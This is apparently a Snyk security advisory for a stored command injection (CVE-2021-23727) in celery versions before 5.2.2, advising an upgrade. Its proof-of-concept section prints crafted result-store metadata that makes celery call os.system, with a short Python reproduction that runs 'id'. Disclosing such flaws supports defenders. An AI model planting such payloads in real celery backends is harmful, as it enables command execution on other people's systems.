Stored Command Injection Affecting celery package, versions [,5.2.2)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.68% (81st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Stored Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CELERY-2314953
  • published29 Dec 2021
  • disclosed9 Dec 2021
  • creditCalum Hutton from Snyk Research Team

Introduced: 9 Dec 2021

CVE-2021-23727  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade celery to version 5.2.2 or higher.

Overview

Affected versions of this package are vulnerable to Stored Command Injection. It by default trusts the messages and metadata stored in backends (result stores). When reading task metadata from the backend, the data is deserialized. Given that an attacker can gain access to, or somehow manipulate the metadata within a celery backend, they could trigger a stored command injection vulnerability and potentially gain further access to the system.

PoC

Example of modified metadata as stored in the result stores:

'status': 'FAILURE',
'result': json.dumps({
  'exc_module': 'os',
  'exc_type': 'system',
  'exc_message': 'id'
  })
}

Reproduction steps in a Python shell:

from celery.backends.base import Backend
from celery import Celery
b = Backend(Celery())
exc = {'exc_module':'os',  'exc_type':'system', 'exc_message':'id'}
b.exception_to_python(exc)

The result would be an output of os.system('id').

References

CVSS Scores

version 3.1